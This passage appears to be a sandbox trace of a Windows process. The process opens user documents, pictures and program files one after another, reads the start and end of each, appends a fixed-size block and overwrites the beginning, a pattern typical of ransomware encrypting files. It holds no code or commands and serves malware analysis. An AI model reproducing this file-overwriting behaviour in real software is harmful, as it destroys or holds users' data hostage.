10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0033.989] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.989] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x16f99 [0033.989] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.989] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.989] ReleaseMutex (hMutex=0x128) returned 1 [0033.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0033.989] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.001] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x15f99 [0034.001] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.006] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x15f99 [0034.006] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.007] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.007] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.007] CloseHandle (hObject=0x1b0) returned 1 [0034.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.010] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.010] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x18b15 [0034.010] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.010] ReleaseMutex (hMutex=0x128) returned 1 [0034.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.010] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.013] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x17b15 [0034.013] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.026] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x17b15 [0034.026] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.027] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.027] CloseHandle (hObject=0x1b0) returned 1 [0034.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EAvGGvTw.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eavggvtw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x183c3 [0034.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.030] ReleaseMutex (hMutex=0x128) returned 1 [0034.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EAvGGvTw.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EAvGGvTw.pdf", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EAvGGvTw.pdf", lpUsedDefaultChar=0x0) returned 12 [0034.030] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x173c3 [0034.030] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x173c3 [0034.030] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.031] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.031] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.031] CloseHandle (hObject=0x1b0) returned 1 [0034.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.034] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.034] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x127e [0034.034] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.034] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.034] ReleaseMutex (hMutex=0x128) returned 1 [0034.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShadesOfBlue.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0034.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShadesOfBlue.jpg", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ShadesOfBlue.jpg", lpUsedDefaultChar=0x0) returned 16 [0034.034] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f2bc*=0x127e, lpOverlapped=0x0) returned 1 [0034.037] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0034.037] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1806, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1806, lpOverlapped=0x0) returned 1 [0034.037] CloseHandle (hObject=0x1b0) returned 1 [0034.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ltC_LU5_qwr7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ltc_lu5_qwr7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xc74b [0034.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.038] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.038] ReleaseMutex (hMutex=0x128) returned 1 [0034.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ltC_LU5_qwr7.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0034.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ltC_LU5_qwr7.jpg", cchWideChar=16, lpMultiByteStr=0x1e789ec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ltC_LU5_qwr7.jpg", lpUsedDefaultChar=0x0) returned 16 [0034.038] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb74b [0034.040] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xb74b [0034.040] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.040] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.040] CloseHandle (hObject=0x1b0) returned 1 [0034.041] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.041] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.041] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x13fb [0034.041] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.042] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.042] ReleaseMutex (hMutex=0x128) returned 1 [0034.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.jpg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Peacock.jpg", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Peacock.jpg", lpUsedDefaultChar=0x0) returned 11 [0034.042] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x13fb, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f2bc*=0x13fb, lpOverlapped=0x0) returned 1 [0034.244] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0034.244] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1983, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1983, lpOverlapped=0x0) returned 1 [0034.245] CloseHandle (hObject=0x1b0) returned 1 [0034.245] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8907c [0034.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.254] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.254] ReleaseMutex (hMutex=0x128) returned 1 [0034.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lighthouse.jpg", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0034.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lighthouse.jpg", cchWideChar=14, lpMultiByteStr=0x1e6322c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lighthouse.jpg", lpUsedDefaultChar=0x0) returned 14 [0034.254] ReadFile (in: hFile=0x168, lpBuffer=0x27c3b68, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27c3b68*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0034.310] ReadFile (in: hFile=0x168, lpBuffer=0x27c3b68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27c3b68*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.654] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8807c [0034.654] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.830] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8807c [0034.830] WriteFile (in: hFile=0x168, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.830] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.830] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0034.831] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.831] CloseHandle (hObject=0x168) returned 1 [0034.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0034.844] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.845] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9a5b [0034.845] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0034.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.845] ReleaseMutex (hMutex=0x128) returned 1 [0034.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql90.xsl", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0034.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql90.xsl", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sql90.xsl", lpUsedDefaultChar=0x0) returned 9 [0034.845] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.873] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8a5b [0034.873] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.873] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8a5b [0034.873] WriteFile (in: hFile=0x168, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.873] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0034.873] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.874] CloseHandle (hObject=0x168) returned 1 [0034.875] CreateFileW (lpFileName="C:\\Program 